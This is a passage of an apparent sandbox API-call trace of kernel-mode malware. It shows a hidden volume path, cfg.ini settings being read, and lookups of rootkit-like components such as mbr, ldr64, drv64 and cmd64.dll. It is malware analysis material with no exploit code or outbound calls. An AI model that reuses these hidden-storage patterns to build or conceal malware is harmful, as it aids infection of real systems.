FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.176] ExFreePoolWithTag (P=0xfffffa8003bf5890, Tag=0x0) [0125.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.176] KeLeaveCriticalRegion () [0125.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.176] ReleaseMutex (hMutex=0xf0) returned 1 [0125.176] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.176] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.176] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.176] KeEnterCriticalRegion () [0125.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.176] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.176] IdePortDispatch () returned 0x103 [0125.177] KeWaitForMutexObject () returned 0x0 [0125.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.177] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.177] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.177] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.177] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.177] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5a40 [0125.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.177] KeLeaveCriticalRegion () [0125.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.177] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.177] KeEnterCriticalRegion () [0125.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.177] KeLeaveCriticalRegion () [0125.177] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.177] KeEnterCriticalRegion () [0125.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.177] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.177] IdePortDispatch () returned 0x103 [0125.177] KeWaitForMutexObject () returned 0x0 [0125.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.177] KeLeaveCriticalRegion () [0125.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.177] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.177] KeEnterCriticalRegion () [0125.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb8000 [0125.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.178] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.178] IdePortDispatch () returned 0x103 [0125.178] KeWaitForMutexObject () returned 0x0 [0125.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.178] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.178] IdePortDispatch () returned 0x103 [0125.178] KeWaitForMutexObject () returned 0x0 [0125.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.178] KeLeaveCriticalRegion () [0125.178] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.178] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.179] KeEnterCriticalRegion () [0125.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.179] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.179] KeLeaveCriticalRegion () [0125.179] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.179] KeEnterCriticalRegion () [0125.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.179] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.179] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5b00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.179] KeLeaveCriticalRegion () [0125.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.179] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.179] KeEnterCriticalRegion () [0125.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.179] ExFreePoolWithTag (P=0xfffffa8003bf5a40, Tag=0x0) [0125.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.179] KeLeaveCriticalRegion () [0125.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.179] ReleaseMutex (hMutex=0xf0) returned 1 [0125.179] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.179] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.179] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.179] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.179] KeEnterCriticalRegion () [0125.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.179] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.179] IdePortDispatch () returned 0x103 [0125.180] KeWaitForMutexObject () returned 0x0 [0125.180] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.180] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.180] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.180] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.180] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.180] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.180] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.180] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.180] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.180] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.180] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.180] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.180] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.180] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.180] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.180] KeLeaveCriticalRegion () [0125.180] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.180] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.180] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.180] KeEnterCriticalRegion () [0125.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.180] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.180] IdePortDispatch () returned 0x103 [0125.181] KeWaitForMutexObject () returned 0x0 [0125.181] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.181] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.181] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.181] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.181] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.181] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.181] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.181] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.181] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.181] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.181] KeLeaveCriticalRegion () [0125.181] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.181] ReleaseMutex (hMutex=0x100) returned 1 [0125.181] Sleep (dwMilliseconds=0x2bf20) [0125.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dd09230, dwHighDateTime=0x1d24fa4)) [0125.187] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.187] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.187] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.187] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.187] KeEnterCriticalRegion () [0125.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.188] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.188] IdePortDispatch () returned 0x103 [0125.188] KeWaitForMutexObject () returned 0x0 [0125.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.188] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.188] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.188] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.188] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.188] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6bc0 [0125.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.188] KeLeaveCriticalRegion () [0125.188] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.188] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.188] KeEnterCriticalRegion () [0125.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.188] KeLeaveCriticalRegion () [0125.188] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.188] KeEnterCriticalRegion () [0125.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.188] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.188] IdePortDispatch () returned 0x103 [0125.189] KeWaitForMutexObject () returned 0x0 [0125.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.189] KeLeaveCriticalRegion () [0125.189] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.189] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.189] KeEnterCriticalRegion () [0125.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbb000 [0125.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.189] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.189] IdePortDispatch () returned 0x103 [0125.189] KeWaitForMutexObject () returned 0x0 [0125.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.189] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.189] IdePortDispatch () returned 0x103 [0125.189] KeWaitForMutexObject () returned 0x0 [0125.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.189] KeLeaveCriticalRegion () [0125.189] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.190] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.190] KeEnterCriticalRegion () [0125.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.190] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.190] KeLeaveCriticalRegion () [0125.190] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.190] KeEnterCriticalRegion () [0125.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.190] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.190] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.190] KeLeaveCriticalRegion () [0125.190] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.190] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.190] KeEnterCriticalRegion () [0125.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.190] ExFreePoolWithTag (P=0xfffffa8003bf6bc0, Tag=0x0) [0125.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.190] KeLeaveCriticalRegion () [0125.190] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.190] ReleaseMutex (hMutex=0xf0) returned 1 [0125.190] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.190] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.190] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.190] KeEnterCriticalRegion () [0125.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.190] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.190] IdePortDispatch () returned 0x103 [0125.191] KeWaitForMutexObject () returned 0x0 [0125.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.191] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.191] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.191] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.191] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.191] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6e10 [0125.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.191] KeLeaveCriticalRegion () [0125.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.191] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.191] KeEnterCriticalRegion () [0125.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.191] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.191] KeLeaveCriticalRegion () [0125.191] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.191] KeEnterCriticalRegion () [0125.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.191] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.191] IdePortDispatch () returned 0x103 [0125.191] KeWaitForMutexObject () returned 0x0 [0125.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.191] KeLeaveCriticalRegion () [0125.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.192] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.192] KeEnterCriticalRegion () [0125.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbc000 [0125.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) 